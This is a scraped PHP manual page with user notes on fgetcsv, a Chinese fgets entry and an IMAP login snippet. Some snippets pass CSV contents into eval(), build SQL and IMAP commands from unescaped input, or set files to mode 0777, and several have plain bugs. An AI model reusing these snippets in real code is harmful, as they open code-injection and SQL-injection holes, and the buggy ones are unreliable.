  for ($i = 0;$i < $myrow["c"]; $i++) echo "[".htmlspecialchars($myrow[$i])."]";
  echo "<BR>\n";
}

// ******** public functions ********

function csv_prepare($data) {
   $rc = array();
   $rc[0] = strtr($data,array("\r\n" => "\n"));
   $rc[0] = strtr($rc[0],array("\r" => "\n"));
   $rc[1] = 0;
   $rc[2] = strlen($rc[0]);
   $rc[3] = 0;
   return $rc;
}

// data[0] = csv-data
// data[1] = startindex
// data[2] = total length csv
// data[3] = currentrow starting from 1 (only for informational purposes)

function csv_rownumber(&$data) {
   return $data[3];
}
function csv_getrow(&$data, $chopnl) {
   $data[3] += 1;
   $rc = array();
   $line = csv__getline(&$data);
   $line = trim($line);
   $len = strlen($line);
   $start = 0;
   if ($len == 0 && $data[1] >= $data[2]) {
       return false;
   }

   $iter = 0;
   while ($iter < 500) {
       $item = csv__getitem(&$line, $chopnl, &$start, $len);
       $rc[$iter] = $item;
       $iter += 1;
       if ($start >= $len) break;
   }
   $rc["c"] = $iter;
   return $rc;
}

// ************ Internals *********
function csv__getline(&$data) {
   $sep = csv__extract(&$data[0], "\n", $data[1], $data[2]);
   $oi = $data[1];
   $data[1] = $sep + 1;
   return substr($data[0],$oi,$sep - $oi);
}

function csv__getitem(&$data, $chopnl, &$start, $len) {
   $sep = csv__extract(&$data, ";",$start, $len);
   $rc = trim(substr($data,$start,$sep - $start));
   $start = $sep + 1;
   if (substr($rc,0,1) == "\"") {
       if (substr($rc,strlen($rc) - 1,1) == "\"") {
           $rc = substr($rc,1,strlen($rc) - 2);
       }
   }
   $rc = strtr($rc,array("\"\"" => "\""));
   if ($chopnl) {
       $rc = strtr($rc,array("\n" => " "));
   }
   return trim($rc);
}

function csv__extract(&$data, $sep, $startidx, $len) {
   $instr = false;
   for ($i=$startidx;$i < $len; $i+=1) {
       $c = $data[$i];
       if ($c == "\"") {
           if ($instr) {
               $c2 = ($i < $len - 1) ? $data[$i + 1] : "";
               if ($c2 == "\"") {
                   $i += 1;
                   continue;
               } else {
                   $instr = false;
               }
           } else {
               $instr = true;
           }
       } elseif ($c == $sep) {
           if ($instr) {
               continue;
           } else {
               return $i;
           }
       }
   }
   return $len;
}

?>
andychr17 at hotmail dot com
06-Aug-2005 03:30
The man below suggested this to avoid and endless loop from using "!== FALSE":

while (($data = fgetcsv($handle, 1000, ",")) != FALSE) {

This is redundant, if you want to do it with the != you may as well do:

while ($data = fgetcsv($handle, 1000, ",")) {
essaym.net
29-Jun-2005 03:17
Heres a function i wrote because all the other functions on here didnt work quiet as easy as I wanted them to:
It opens the CSV file, and reads it into a 3d array.  If you set $columnsOnly, you will only get the first line.

<?php
function CSV2Array($openFile, $columnsOnly = false)
{
   $handle = fopen ($openFile,"r");

   $rows = 0;
   while (!feof($handle)) {
       $columns[] = explode(",", fgets($handle, 4096));
       if ($rows++ == 0 && $columnsOnly)
           break;
   }
   fclose ($handle);
   return $columns;
}
?>
cristian DOT zuddas AT gmail DOT com
17-Jun-2005 09:58
"marc at henklein dot com" posted a cool function "CSV2Array", but there's an error. If the last char of the CSV file isn't a carriage return, the function can't take the last field of the last line in the CSV.

Fixed adding this check:

<?
if ($content[strlen($content)-1]!="\r" && $content[strlen($content)-1]!="\n")
       $content .= "\r\n";
?>

The updated function:

<?
function CSV2Array($content, $delim = ';', $encl = '"', $optional = 1) {
   if ($content[strlen($content)-1]!="\r" && $content[strlen($content)-1]!="\n")
       $content .= "\r\n";

   $reg = '/(('.$encl.')'.($optional?'?(?(2)':'(').
           '[^'.$encl.']*'.$encl.'|[^'.$delim.'\r\n]*))('.$delim.
           '|\r\n)/smi';

   preg_match_all($reg, $content, $treffer);
   $linecount = 0;

   for ($i = 0; $i<=count($treffer[3]);$i++) {
       $liste[$linecount][] = $treffer[1][$i];
       if ($treffer[3][$i] != $delim)
           $linecount++;
   }
   unset($linecount);
   unset($i);
   unset($reg);
   unset($content);
   unset($delim);
   unset($encl);
   unset($optional);
   unset($treffer);

   return $liste;
}
?>
Bart
17-Jun-2005 07:08
The file function reads the file in an array with the EOL still attached, so the +1 is not necessary.
Bob Kolk
18-May-2005 12:50
Dave Meiners above example is great, except that you need to need to add one to the final length to account for EOL.  So it'd be:

while ($data = fgetcsv($handle, ($length+1), ","))
marc at henklein dot com
21-Feb-2005 08:57
for excel-csv-sheets like:

test1;test2;test3;test4;"test5
test5b
test5c";test6

(optionally enclosed by " including line-breaks)

.. i wrote a little function to solve this problem.

<?php

function CSV2Array($content, $delim = ';', $encl = '"', $optional = 1)
{
   $reg = '/(('.$encl.')'.($optional?'?(?(2)':'(').
'[^'.$encl.']*'.$encl.'|[^'.
$delim.'\r\n]*))('.$delim.'|\r\n)/smi';

   preg_match_all($reg, $content, $treffer);
   $linecount = 0;

   for ($i = 0; $i<=count($treffer[3]);$i++)
   {
       $liste[$linecount][] = $treffer[1][$i];
       if ($treffer[3][$i] != $delim)
           $linecount++;
   }
   return $liste;
}

// usage for example:
$content = join('',file('test.csv'));
$liste = CSV2Array($content);
print_r($liste);
?>
slyi
20-Feb-2005 02:05
heres a version that take a bugzilla url and spits the results as rss

<?php
$bugzillaurl="http://www.reactos.com/bugzilla/";
$bugquery= $bugzillaurl . "buglist.cgi?query_format=&bug_severity=blocker&ctype=csv";
header('Content-type: text/xml');
echo "<?xml version=\"1.0\" ?>\n";
?>

<rss version="2.0">
  <channel>
   <title>bugzilla csv2rss</title>
   <link><?=$bugzillaurl?></link>
   <description>bugzilla csv2rss</description>
   <language>en-us</language>

<?php

$row = 0;
$handle = fopen($bugquery, "r");
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
   if($row == '0') { $row = '8';} //skip title stuff
   else{ // display all bugs
   $row++;
   echo "<item>\n";
   echo "<title>" . htmlspecialchars($data[7], ENT_QUOTES) . "</title>\n";
   echo "<description>" . htmlspecialchars($data[7], ENT_QUOTES) . "</description>\n";
   echo "<link>" . $bugzillaurl . "show_bug.cgi?id=" . $data[0] . "</link>\n";
   echo "</item>\n";
   }
}
fclose($handle);
?>

 </channel>
</rss>
ramdac at ramdac dot org
24-Jan-2005 01:40
Be wary of Example #1 above.

If the file doesn't exist, the application will spit out data to STDOUT and could fill up /tmp space if you're not careful. The output might will look like this:

PHP Warning:  fgetcsv(): supplied argument is not a valid stream resource in...(your filename here)

To get around this, do the following:

<?
row = 1;
if(!$handle = fopen("test.csv", "r"))
{
     print 'could not open file. quitting';
     die;
}
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
   $num = count($data);
   echo "<p> $num fields in line $row: <br /></p>\n";
   $row++;
   for ($c=0; $c < $num; $c++) {
       echo $data[$c] . "<br />\n";
   }
}
fclose($handle);
?>
Daffy
22-Nov-2004 10:25
This is a little sniplet for all users who has problems with Excel csv files. This functions does almost the same like the linux shell program dos2unix.

/* ------------------8<------------------------*/
function dos2unix ($filename) {
       //open original file
       $fp = fopen($filename,'r');
       //open original file
       $fptmp = fopen($filename.'_tmp','w');
       while(!feof($fp)){
               $line = chop(fgets($fp,4096));
               $ret = ereg_replace(chr(13) . chr(10),"\n",$line);
               $ret = ereg_replace(chr(13),"\n",$ret);
               fwrite($fptmp,$ret);
       }

       fclose($fp);
       fclose($fptmp);
       //remove original file
       unlink($filename);
       //move converted file to old filename
       copy($filename.'_tmp', $filename);
       //remove temp file
       unlink($filename.'_tmp');
}
/* ------------------8<------------------------*/
18-Nov-2004 02:47
example 1 above goes into an infinte loop if the file name is bad because fgetcsv return a false result not identical to false but equl to false

to fix this use != instead of !== in the test as shown below it will still work correctly for the case when the file exists.

while (($data = fgetcsv($handle, 1000, ",")) != FALSE) {
mickoz[at]parodius[dot]com
31-Oct-2004 06:54
In "php at dogpoop dot cjb dot net" post, I would change in his function:

function csv_split($line,$delim=',',$removeQuotes=true)

this code:

if ($line[$i+1] == '"') {

to:

if ($i+1 < strlen($line) && $line[$i+1] == '"') {

The reason is that if the quote (") is at the last line of the string, then it will try to reach an undefined space in the string, therefore giving a PHP error.

Of course his function is great if your line is a true compatible csv line, but I leave that to you to judge if you can do this assumption ;-)
aidan at php dot net
01-Jul-2004 09:47
If you're looking to parse CSV files but find fgetcvs insufficient, check out http://pear.php.net/package/File
dave146 at burtonsys dot com
18-Jun-2004 04:29
To convert .dbf files (dBase/xBase/FoxPro/Clipper/etc.) files
to .csv, so that you can read them with fgetcsv, get dbf2csv.zip
from http://www.burtonsys.com/downloads.html

(It seems odd to me that php has fgetcsv but no splitcsv.)

-Dave
jc at goetc dot net
17-Jun-2004 11:51
I've had alot of projects recently dealing with csv files, so I created the following class to read a csv file and return an array of arrays with the column names as keys. The only requirement is that the 1st row contain the column headings.

I only wrote it today, so I'll probably expand on it in the near future.

<?php
class CSVparse
  {
  var $mappings = array();

  function parse_file($filename)
   {
   $id = fopen($filename, "r"); //open the file
   $data = fgetcsv($id, filesize($filename)); /*This will get us the */
                                               /*main column names */

   if(!$this->mappings)
       $this->mappings = $data;

   while($data = fgetcsv($id, filesize($filename)))
       {
         if($data[0])
           {
           foreach($data as $key => $value)
               $converted_data[$this->mappings[$key]] = addslashes($value);
           $table[] = $converted_data; /* put each line into */
             }                                /* its own entry in    */
         }                                    /* the $table array    */
   fclose($id); //close file
   return $table;
   }
  }
?>
dawa at did-it dot com
12-Apr-2004 03:30
The following modification will hide the unnecessary delimiter in the array
that is returned when fgetcsvfromline is called.

<?php
function fgetcsvfromline ($line, $columnCount, $delimiterChar = ',',
               $enclosureChar = '"') {
       global $regExpSpecialChars;
       $matches = array();
       $delimiterChar = strtr($delimiterChar, $regExpSpecialChars);
       $enclosureChar = strtr($enclosureChar, $regExpSpecialChars);
       $cutpoint = strlen($delimiterChar)+1;
       $regExp = "/^";
       for ($i = 0; $i < $columnCount; $i++) {
               $regExp .= $enclosureChar.'?(.*?)'.$enclosureChar.'?'.$delimiterChar;
       }
       $regExp = substr($regExp,0,-$cutpoint).'/';
       if (preg_match($regExp, $line, $matches)) {
               return $matches;
       }
       return 0;
}
?>

=== If you were getting
[0] => "Ma"rk","Bergeron","rocks","12345,"times"
[1] => "
[2] => Ma"rk
[3] => "
..etc

You will now get
 [0] => "Ma"rk","Bergeron","rocks","12345,"times"
 [1] => Ma"rk
...etc
bu at orbitel dot bg
19-Mar-2004 12:54
I found a way to parse CSVs with Perl RegExps and it's a lot faster and more efficient than the conventional fgetcsv() way.

The fgetcsv() took more than 2 minutes to parse a 15,000 lined file while my function takes 6 to 7 secs on a Celeron 366 MHz prehistoric machine.

Here's a link to the source of my function.

fgetcsvfromline() source
http://bu.orbitel.bg/fgetcsvfromline.php

fgetcsvfromline() in action
http://bu.orbitel.bg/csv.php

Please let me know if you use it or if you've found a better solution.
Dave Meiners
05-Feb-2004 12:37
using the example above with a length of 1000 will truncate any csv rows longer than 1000 bytes, the remainder of that line will be represented next time you call $data = fgetcsv(). one solution i have seen to this is to use filesize("test.csv") as the length argument, however sometimes with large csv files you may encounter errors for exceeding the memory limit. to remedy this, i have read the csv file into an array, looping through that array to find the longest line in the csv, and then using that value as my length argument, unset($array) to free up the memory. im open to better solutions.

<?php

   $length = 1000;
   $array = file("test.csv");
   for($i=0;$i<count($array);$i++)
   {
       if ($length < strlen($array[$i]))
       {
           $length = strlen($array[$i]);
       }
   }
   unset($array);

   $handle = fopen("test.csv", "r");
   while ($data = fgetcsv($handle, $length, ","))
   {
       // do what you want with your array here.

   }
   fclose($handle);

?>
guntars at datapro dot lv
27-Nov-2003 09:24
For all those people struggling with Macintosh conversions, since PHP 4.3 there is a new runtime setting available:
auto_detect_line_endings boolean

When turned on, PHP will examine the data read by fgets() and file() to see if it is using Unix, MS-Dos or Macintosh line-ending conventions.

This enables PHP to interoperate with Macintosh systems, but defaults to Off, as there is a very small performance penalty when detecting the EOL conventions for the first line, and also because people using carriage-returns as item separators under Unix systems would experience non-backwards-compatible behaviour.
mjwilco at yahoo dot com
02-Oct-2003 11:35
Here's one way to convert the data in a csv file to an html table:

<?php

$filename = "book1.csv"; //here's the filename

$id = fopen($filename, "r"); //open the file
while ($data = fgetcsv($id, filesize($filename))) //start a loop
$table[] = $data; //put each line into its own entry in the $table array
fclose($id); //close file

echo "<table>\n";

foreach($table as $row)
{
echo "<tr>";
   foreach($row as $data)
   echo "<td>$data</td>";
echo "</tr>\n";
}

echo "</table>\n";

?>

You may need to change the parameters for fgetcsv() to suit your needs and probably change the table style.
elainy at gmx dot net
01-Oct-2003 08:54
I wrote this little thingy to allow the customer to upload csv-files to his page which will then automatically be converted to a php-include-file with a html-table for inclusion in his homepage.
Its a little buggy since it can't handle rowspan and such, but otherwise it works well.

<?php
function csv2php($filename, $delim=';',$path)
{
   $row = 0;
   $dump = array();
   $once = 0;
   $max_cols = 0;

   // open file - get number of columns - make data Array
   $f = fopen ($filename,"r");
   $size = filesize($filename)+1;
   while ($data = fgetcsv($f,$size,$delim,''))
   {
       for($o=0;$o<sizeof($data);$o++)
       {
             if($once==0)
                 $max_cols++;
       }

       $dump[$row] = $data;
       if($once==0)
           $once=1;
       $row++;
   }
   fclose ($f);

   /////// make text for php-include file
   $printtext="<table border='0' cellspacing='0' cellpadding='0'>\n";

   /////// walk the rows
   for($x=0;$x<sizeof($dump);$x++)
   {
         $printtext.="<tr>\n";
         /////// !!!! Table is built with as many columns as the first row has !!!!!!
         for($y=0,$limiter=0;(($y<sizeof($dump[$x])) || ($limiter<$max_cols));$y++,$limiter++)
         {
             $printtext.="\t<td>";
             if($dump[$x][$y]!='')
                 $printtext.=$dump[$x][$y];
             else
                 $printtext.=" ";
             $printtext.="</td>\n";
         }
         $printtext.="</tr>\n";
   }
   $printtext.="</table>\n";

   $ident = write_dammit($printtext,$path);

   return $ident;
}

function write_dammit($printtext,$path)
{
         $ident=time();
         $filename=$ident;
         $filename .= ".inc.php";
         $filecontents = $printtext;
         $fp = fopen("$path/$filename","w"); // if in windows you have to chace the / to \\
         fwrite($fp,$filecontents);
         fclose($fp);

         return $ident;
}

$ident = csv2php("table.csv",";","C:/your_include_folder/");

require($ident.".inc.php");
?>
chery79 at hushmail dot com
21-Sep-2003 05:18
inserting IP-to-Country Database into mysql

<?
//CREATE TABLE `ip2country` (
// `id` int(25) NOT NULL default '0',
//  `ipFrom` int(15) NOT NULL default '0',
//  `ipTo` int(15) NOT NULL default '0',
//  `country2` char(2) NOT NULL default '',
//  `country3` char(3) NOT NULL default '',
//  `country` varchar(25) NOT NULL default ''
//) TYPE=MyISAM;

$link = mysql_connect("localhost", "username", "password") or die("Could not connect: ".mysql_error());
// username = user account name
// password = password to user acc
$db = mysql_select_db("ip2country") or die(mysql_error());
// ip2country table is define on top
$row = 1;
$handle = fopen ("ip-to-country.csv","r");
// ip-to-country.csv must be in the same directory with this php file
while ($data = fgetcsv ($handle, 1000, ",")) {
   $query = "INSERT INTO ip2country(`id`, `ipFrom`, `ipTo`, `country2`, `country3`, `country`) VALUES('".
       $row."', '".$data[0]."', '".$data[1]."', '".$data[2]."', '".$data[3]."', '".$data[4]."')";
   $result = mysql_query($query) or die("Invalid query: " . mysql_error().__LINE__.__FILE__);
   $row++;
}
fclose ($handle);
?>
phpnet at smallfryhosting dot co dot uk
19-Sep-2003 12:42
Another version [modified michael from mediaconcepts]

<?php
  function arrayFromCSV($file, $hasFieldNames = false, $delimiter = ',', $enclosure='') {
   $result = Array();
   $size = filesize($file) +1;
   $file = fopen($file, 'r');
   #TO DO: There must be a better way of finding out the size of the longest row... until then
   if ($hasFieldNames) $keys = fgetcsv($file, $size, $delimiter, $enclosure);
   while ($row = fgetcsv($file, $size, $delimiter, $enclosure)) {
       $n = count($row); $res=array();
       for($i = 0; $i < $n; $i++) {
           $idx = ($hasFieldNames) ? $keys[$i] : $i;
           $res[$idx] = $row[i];
       }
       $result[] = $res;
   }
   fclose($file);
   return $result;
  }
?>
NOSPAM-michael at mediaconcepts dot nl
15-Sep-2003 10:45
A little contribution to make it more easy to use this function when working with a database. I noticed this function doesn't add logical keys to the array, so I made a small function which creates a 2dimensional array with the corresponding keys added to the rows.

<?php
// this function requires that the first line of your CSV file consists of the keys corresponding to the values of the other lines
function convertCSVtoAssocMArray($file, $delimiter)
{
   $result = Array();
   $size = filesize($file) +1;
   $file = fopen($file, 'r');
   $keys = fgetcsv($file, $size, $delimiter);
   while ($row = fgetcsv($file, $size, $delimiter))
   {
       for($i = 0; $i < count($row); $i++)
       {
           if(array_key_exists($i, $keys))
           {
               $row[$keys[$i]] = $row[$i];
           }
       }
       $result[] = $row;
   }
   fclose($file);
return $result;
}
?>
ng4rrjanbiah at rediffmail dot com
08-Sep-2003 06:02
Important note about the CSV format:
There should *not* be any space in between the fields. For example,
field1, field2, field3 [Wrong!]
field1,field2,field3 [Correct-No space between fields]

If you add space between the fields, MS Excel won't recognize the fields (especially date and multi-line text fields).

HTH,
R. Rajesh Jeba Anbiah
shaun at linuxhost dot cc
15-Aug-2003 03:03
I've seen alot of people talking about ways to convert from mac to unix or from dos to unix.

For DOS to UNIX I use dos2unix in the "tofrodos Ver 1.4" package.
http://www.thefreecountry.com/tofrodos/index.shtml
For Mac to UNIX I have the follwing in my .bashrc
alias mac2unix="perl -pi -e 'tr/\015/\012/'"
Just run dos2unix or mac2unix <filename> and it will convert.  My life has been easier ever since I started installing these utilities.
reptileX at example dot com
13-Aug-2003 03:57
beware of using this function in two different php versions,

in php 4.3 the 4th parameter can be given altough empty

in php 4.2 you get just a warning but it is not able to read the csv file if you place an enclosure that is empty
brian at brianvoss dot com
26-Jul-2003 06:55
If anyone else is taking on the task of converting from FileMaker Pro to MySQL, you might find this useful:

Here's a collection of simple functions that take a CSV file, re-formats the data and writes to a file with MySQL INSERTs.

ORIGINAL DATA:

"1", "foo", "2"
"3", "bar", "4"

OUTPUT

INSERT info mysql_table VALUES('', '1', 'foo', '2');
INSERT info mysql_table VALUES('', '3', 'bar', '4');

For simple data it works alright, but I could not find a way to escape the contents before assembling the INSERT statements - kept getting "bad argument for implode()"...

<?php
/*************************************
*                  main              *
*************************************/

 $file = "path/to/your/file.txt";
 $tbl = "your_MySQL_table";

 $CSVarray = get_csv($file);
 $CSVarray = makeINSERTS($CSVarray, "$tbl");

 $filetowrite = $_POST["file"]."_sql.txt";
   $fp = fopen($filetowrite, "w");
   while (list($key, $val) = @each($CSVarray)) {
             fwrite($fp, $val);
 }
 fclose($fp);
 chmod($filetowrite, 0777);

 echo "File written Successfully";

}

/*************************************
*                  functions        *
*************************************/

// This function courtesy of drudge@phpcoders.net

function get_csv($filename, $delim =","){

   $row = 0;
   $dump = array();

   $f = fopen ($filename,"r");
   $size = filesize($filename)+1;
   while ($data = fgetcsv($f, $size, $delim)) {
       $dump[$row] = $data;
       //echo $data[1]."<br>";
       $row++;
   }
   fclose ($f);

   return $dump;
}

function makeINSERT($text, $table){

   $insert = array();
   $i = 0;

   while (list($key, $val) = @each($text)){

// We'll start off the INSERT with '', for an
//    auto-incremented key.  Remove if not needed.

           $insert[$i] = "INSERT into ".$table." VALUES('','";
           $insert[$i] .= implode("','", $val);
           $insert[$i] .= "');\n";

           $i++;
       }

   return $insert;

}
?>
kurtnorgaz at web dot de
22-Jul-2003 03:00
You should pay attention to the fact that "fgetcsv" does remove leading TAB-chars "chr(9)" while reading the file.

This means if you have a chr(9) as the first char in the file and you use fgetcsv this char is automaticaly deleted.

Example:
file content:
chr(9)first#second#third#fourth

source:
$line = fgetcsv($handle,500,"#");

The array $line looks like:
$line[0] = first
$line[1] = second
$line[2] = third
$line[3] = fourth

and not
$line[0] = chr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth

All chr(9) after another char is not deleted!

Example:
file content:
Achr(9)first#second#third#fourth

source:
$line = fgetcsv($handle,500,"#");

The array $line looks like:
$line[0] = Achr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth
php at joestump dot net
14-Jul-2003 10:58
For those of you having problems with Excel's version of CSV file exports (which include the infamous ^M characters in *NIX editors, such as VIM) here is a simple script to remove them and replace them in the normal UNIX newline character (\n).

<?

$fp = fopen('/dev/stdin','r');
while(!feof($fp)){
   $line = chop(fgets($fp,4096));
   $ret = ereg_replace(chr(13) . chr(10),"\n",$line);
   $ret = ereg_replace(chr(13),"\n",$ret);

   echo $ret."\n";
}

fclose($fp);

?>

Usage: cat file_with_windows_newlines | php -q strip_newlines.php > outfile

(this works for other stuff too, like PHP "coders" who use Notepad and upload to a UNIX environment).
kyle at kghspam at yahoo.com
18-Jun-2003 07:05
Quick and dirty script to take a csv file and turn it into a multidimensional associative array structure using the first line of the csv as the hash key names.

<?
$i = 0;
$handle = fopen ("file.csv","r");
while($data = fgetcsv ($handle, 1000, ",")) {
if ($i == 0) { $key_arr = $data; }
reset($key_arr);
while(list($index,$name) = each($key_arr)) { $temp_arr[$name] = $data[$index]; }
$result_arr[$i] = $temp_arr;
$i++;
}
fclose ($handle);
?>
drudge at php-coders dot net
09-Jun-2003 07:14
Here is a function to read a whole csv file into an array:

<?php
function get_csv($filename, $delim=',')
{
   $row = 0;
   $dump = array();

   $f = fopen ($filename,"r");
   $size = filesize($filename)+1;
   while ($data = fgetcsv($f, $size, $delim)) {
       $dump[$row] = $data;
       $row++;
   }
   fclose ($f);

   return $dump;
}
?>
kmlinac/nospam/ at oliver dot /nospam/efos dot hr
09-May-2003 05:12
This is the solution to Microsoft Excel csv file - this function add last delimiter in line.

<?php
function delimiter()
{
if (is_file("file.csv"))
   {
$fp = fopen($file.csv,"r");
while (false!=($line = fgets($fp)))
       {
                 $line = "$line;";
                 putf($line);
                   }
fclose($fp);
   }
}

//puts dedlimited line in new file
function putf($line)
   {
$fp = fopen($file,"a");
fputs($fp,$line);
fclose($fp);
   }

/* this readsl line at the time and adds ; as delimiter on line end. Its easy and helpfull*/

delimiter();

?>
mendi dot susanto at dmetrading dot com
21-Mar-2003 05:07
I've tried the code above but doesn't work, so I tried to modify it... this is the code to get the first line of csv fle, puti it into TABLE 1, while the rest line of csv file will be put at TABLE 2

<?php
$openfile = "tes2.csv";
$row = 0;
$handle = fopen ($openfile,"r");
while ($data = fgetcsv ($handle, 1000, ","))
{
   if($row == '0')
   {
       $num = count ($data);
       print "<p> $num fields in line $row: <br>\n";
       echo "This belong to TABLE 1 <br>";
       for ($c=0; $c < $num; $c++)
       {
           print $data[$c] . "<br>\n";
       }
       $row = '32';
   }
   else
   {
       $num = count ($data);
       print "<p> $num fields in line $row: <br>\n";
       $row++;
       echo "This belong to TABLE 2 <br>";
       for ($c=0; $c < $num; $c++)
       {
           print $data[$c] . "<br>\n";
       }
   }
}
fclose ($handle);
?>
18-Feb-2003 03:23
Here's piece of code I wrote that reads the first line of a CSV file, creates an array based the field's name, and then reads the rest of the contents of the CSV file into the approate arrays.  Great for quick and dirty access to a CSV file.

<?php
// Name of the file to read/
// $openFile is the only varible you will have change to for this to work.
$openFile = "test.csv";

   $row = 0;
   $handle = fopen ($openFile,"r");
   while ($data = fgetcsv ($handle, 1000, ",")) {
       if($row == 0){
           // set the varible array
           $num = count ($data);
           $csvNames = array();
           for ($c=0; $c < $num; $c++) {
               $csvNames[$c] = $data[$c];
               eval("$" . $data[$c] . " = array();");
           }
           $row = 1;
       }else{
           $num = count ($data);
           $row++;
           for ($c=0; $c < $num; $c++) {
               $buildEval = "$" . $csvNames[$c] . "[" . ($row - 1) . "] = \"" . $data[$c] . "\";";
               eval($buildEval );
           }
       }
   }
   fclose ($handle);

?>
anthony dot thomas at nospam dot com
07-Dec-2002 01:29
fgetcsv stops reading your file?

I had to write a script to validate and import a large amount of data to MySQL and it would stop running. I've noticed, after trawling the internet for a solution, quite a few people have had similar problems.

Solution? Like a dope I had forgotten to put in
set_time_limit()
within a loop. Otherwise the script would time out before it finished importing all the data.

Moral of the story? Only suppress errors after your script works with a large amount of test data!
php at dogpoop dot cjb dot net
16-Nov-2002 12:01
This function takes a csv line and splits it into an array, much like fgetcsv does but you can use it on data that isn't coming in from a file, or you can read data from a file some other way (like if your Mac files aren't being read correctly) and use this to split it.  If you have any corrections, comments (good or bad), etc. I would appreciate an email to the above address.

<?php
function csv_split($line,$delim=',',$removeQuotes=true) {
#$line: the csv line to be split
#$delim: the delimiter to split by
#$removeQuotes: if this is false, the quotation marks won't be removed from the fields
   $fields = array();
   $fldCount = 0;
   $inQuotes = false;
   for ($i = 0; $i < strlen($line); $i++) {
       if (!isset($fields[$fldCount])) $fields[$fldCount] = "";
       $tmp = substr($line,$i,strlen($delim));
       if ($tmp === $delim && !$inQuotes) {
           $fldCount++;
           $i += strlen($delim)-1;
       } else if ($fields[$fldCount] == "" && $line[$i] == '"' && !$inQuotes) {
           if (!$removeQuotes) $fields[$fldCount] .= $line[$i];
           $inQuotes = true;
       } else if ($line[$i] == '"') {
           if ($line[$i+1] == '"') {
               $i++;
               $fields[$fldCount] .= $line[$i];
           } else {
               if (!$removeQuotes) $fields[$fldCount] .= $line[$i];
               $inQuotes = false;
           }
       } else {
           $fields[$fldCount] .= $line[$i];
       }
   }
   return $fields;
}
?>
martin dot goldinger at netserver dot ch
28-Oct-2002 10:12
With MAC, use: Save As - CSV for Windows. Then fgetcsv works as expected.
justin at indent dot com dot au
08-Aug-2002 03:24
If you're working in Excel on a Mac and are exporting a spreadsheet as a CSV, PHP won't recognise the line breaks, and interprets the file as one really long line.  It borders on a bug really.  For me, I just open the file in BBEdit or BBEdit Lite, convert the file from Mac to Unix, and all is well.  But if you're dealing with user-contributed files, you'll need to convert the line-endings first... replacing all \r's with \n's should do it.
c dot greenNOSP at Mits dot uq dot edu dot au
24-Jun-2002 11:21
Quoting csv is pretty simple, and there are two steps..I note in previous comments only the second step has been explained.

First fields with double quotes need to double up the quotes, ie _He said "Timmy"..._ should become _He said ""Timmy""..._
Secondly as mentioned above, fields with commas need double quotes.

Here is a simple function to achieve this, that I pass to array walk, if you want to use it somewhere else, prob get rid of reference and return the value.

function check_csv_field_ref(&$item) {
   $item = str_replace('"', '""', $item);
   if (strpos($item, ",") !== FALSE) {
     $item = '"' . $item . '"';
   }
}
joeldegan-AT-yahoo.com
13-Jun-2002 04:01
function to parse multi arrays into csv data
array in... array of array(datasets); first dataset = field names.
usage:
$toparse[0][0] = "field1";
$toparse[0][1] = "field2";
$toparse[1][0] = "value1";
$toparse[1][1] = "123123123"; // to see
echo export_to_csv($toparse);

<?php
function export_to_csv($inarray){
     while (list ($key1, $val1) = each ($inarray)) {
       while (list ($key, $val) = each ($val1)) {
         if (is_numeric($val)){
       $sendback .= $val.",";
           }else{
           $sendback .= "\"". $val ."\",";
         }//fi
       }//wend
       $sendback = substr($sendback, 0, -1); //chop last ,
       $sendback .= "\n";
     }//wend
   return ($sendback);
}// end function
?>

send the file to the client.. pretty simple.
usage: send_file_to_client("data.csv",export_to_csv($data));

<?php
function send_file_to_client($filename, $data){
   header("Content-type: application/ofx");
   header("Content-Disposition: attachment; filename=$filename");
   echo $data;
};
?>
blair at squiz . net
15-Aug-2001 10:19
Here is a function that takes an array and adds a CSV line to the passed file pointer.

<?php
function fputcsv ($fp, $array, $deliminator=",") {

  $line = "";
  foreach($array as $val) {
   # remove any windows new lines,
   # as they interfere with the parsing at the other end
   $val = str_replace("\r\n", "\n", $val);

   # if a deliminator char, a double quote char or a newline
   # are in the field, add quotes
   if(ereg("[$deliminator\"\n\r]", $val)) {
     $val = '"'.str_replace('"', '""', $val).'"';
   }#end if

   $line .= $val.$deliminator;

  }#end foreach

  # strip the last deliminator
  $line = substr($line, 0, (strlen($deliminator) * -1));
  # add the newline
  $line .= "\n";

  # we don't care if the file pointer is invalid,
  # let fputs take care of it
  return fputs($fp, $line);

}#end fputcsv()
?>
add a note add a note

后退 | 起点 | 前进
fgetc | 上一级 | fgets


fgets

(PHP 3, PHP 4, PHP 5)

fgets -- 从文件指针中读取一行

说明

string fgets ( int handle [, int length] )

从 handle 指向的文件中读取一行并返回长度最多为 length - 1 字节的字符串。碰到换行符（包括在返回值中）、EOF 或者已经读取了 length - 1 字节后停止（看先碰到那一种情况）。如果没有指定 length，则默认为 1K，或者说 1024 字节。

出错时返回 FALSE。

通常的缺陷：

习惯了 C 语言中 fgets() 语法的人应该注意到 EOF 是怎样被返回的。

文件指针必须是有效的，并且必须指向一个由 fopen() 或 fsockopen() 成功打开的文件。

以下是一个简单例子：

例子 1. 逐行读取文件

<?php
$handle = fopen("/tmp/inputfile.txt", "r");
while (!feof($handle)) {
    $buffer = fgets($fd, 4096);
    echo $buffer;
}
fclose($handle);
?>

注: length 参数从 PHP 4.2.0 起成为可选项，如果忽略，则行的长度被假定为 1024。从 PHP 4.3 开始，忽略掉 length 将继续从流中读取数据直到行结束。如果文件中的大多数行都大于 8KB，则在脚本中指定最大行的长度在利用资源上更为有效。

注: 从 PHP 4.3 开始本函数可以安全用于二进制文件。早期的版本则不行。

注: 如果碰到 PHP 在读取文件时不能识别 Macintosh 文件的行结束符，可以激活 auto_detect_line_endings 运行时配置选项。

参见 fread()，fgetc()，stream_get_line()，fopen()，popen()，fsockopen() 和 stream_set_timeout()。

add a note add a note User Contributed Notes
sam dot bryan at montal dot com
23-May-2006 05:09
An easy way to authenticate Windows Domain users from scripts running on a non-Windows or non-Domain box - pass the submitted username and password to an IMAP service on a Windows machine.

<?php
$server = 'imapserver';
$user = 'user';
$pass = 'pass';

if (authIMAP($user, $pass, $server)) {
   echo "yay";
} else {
   echo "nay";
}

function authIMAP($user, $pass, $server) {
   $connection = fsockopen($server, 143, $errno, $errstr, 30);

   if(!$connection) return false;

   $output = fgets($connection, 128); // banner
   fputs($connection, "1 login $user $pass\r\n");
   $output = fgets($connection, 128);
   fputs($connection, "2 logout\r\n");
   fclose($connection);

   if (substr($output, 0, 4) == '1 OK') return true;

   return false;
}
?>
25-Mar-2006 01:36
